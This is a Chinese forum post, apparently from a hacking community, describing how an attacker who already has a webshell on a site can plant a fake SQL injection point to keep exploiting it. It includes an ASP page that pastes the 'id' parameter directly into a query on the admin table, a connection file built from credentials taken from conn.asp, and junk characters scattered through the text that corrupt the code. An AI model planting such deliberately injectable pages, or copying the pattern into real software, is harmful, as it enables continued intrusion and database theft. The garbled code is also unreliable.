自己构造注入点方便入侵
Q" z' k. F7 a2 L7 b! J4 U$ u: Z$ F( u2 D
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
i3 A9 N, Q* O; B
# @$ ^& }8 E4 G+ B" W这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
1 a+ ?! O7 b* o* G3 I9 L5 u
0 p+ S8 g9 D S/ {7 r7 ^首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和, F' s2 r! a- I% x! H
& y7 z. G+ \( l. e- a
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
; O) o0 c: C" v$ t2 z
) w! Z! l' f8 X因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:, ]( W6 m5 P4 l& w% \! R
& ?* s- Z9 M7 @
程序代码; A8 M* q& ?7 h" V8 S8 q
<!--#include file="xx.asp"-->
8 r# `: U' O# n( K) M<%
0 d) k: {* }5 S2 |1 Cset rs=server.createobject("ADODB.recordset")
8 M1 V1 Q: g$ _' b/ M- n( nid = request("id")
+ G! G8 ?( D/ N+ b( P4 cstrSQL = "select * from admin where id=" & id
; ]5 L& B2 r" q, W5 ~7 H; {rs.open strSQL,conn,1,35 P. P& i- v" k+ v' O
rs.close4 r# k |& p- p3 n L6 j
%>
+ ~. K4 h: n0 ~9 B" s
- m: _4 P+ v2 W& A- n5 ?' a/ K5 a/ }把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
8 k4 @6 b& b1 \# }8 |( D J
6 t0 o0 l( G9 q* B3 b5 _你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!7 @* H. X: t2 T" z, Q. m( a; [
2 z! A* J! I* x9 q9 G7 g5 C+ U1 ^% J
然后就要构造一个连接数据库的文件了,代码如下:
" T7 g3 A$ K. L/ @/ ^- i5 n程序代码9 h6 n" \7 @( z; w r
<%
6 q: z0 w$ b9 j5 _* v# l6 hstrSQLServerName = "000.000.000.000" '服务器名称或地址
7 ]+ E @) r" u3 X2 U- n) {1 IstrSQLDBUserName = "sqlname" '数据库帐号3 a4 p" t- x9 N* N& W0 ?
strSQLDBPassword = "sqlpass" '数据库密码) v, N+ Y/ M- [9 Y, p$ h
strSQLDBName = "sqldataname" '数据库名称% Z! _5 k S7 ^3 h4 H
Set conn = Server.CreateObject("ADODB.Connection")6 J6 h0 \8 E5 |5 I; }
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
' g; F( j/ H$ Z3 o, b5 ]conn.open strCon' E7 |/ y7 ?* s1 \
%>- `! S& N; K3 i# [
\) r+ Q; J0 |* n3 T) C* R% J1 ~- p这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
2 `9 P2 t; a. H- f
4 Y8 j9 S, ^# y就这样,正常情况下,就OK了,伪造成功……
2 B/ B, M; E {5 ^/ J6 H* z3 o8 I: h/ w2 N$ B* h9 P
如果有什么问题可以提出来大家一起探讨解决。 |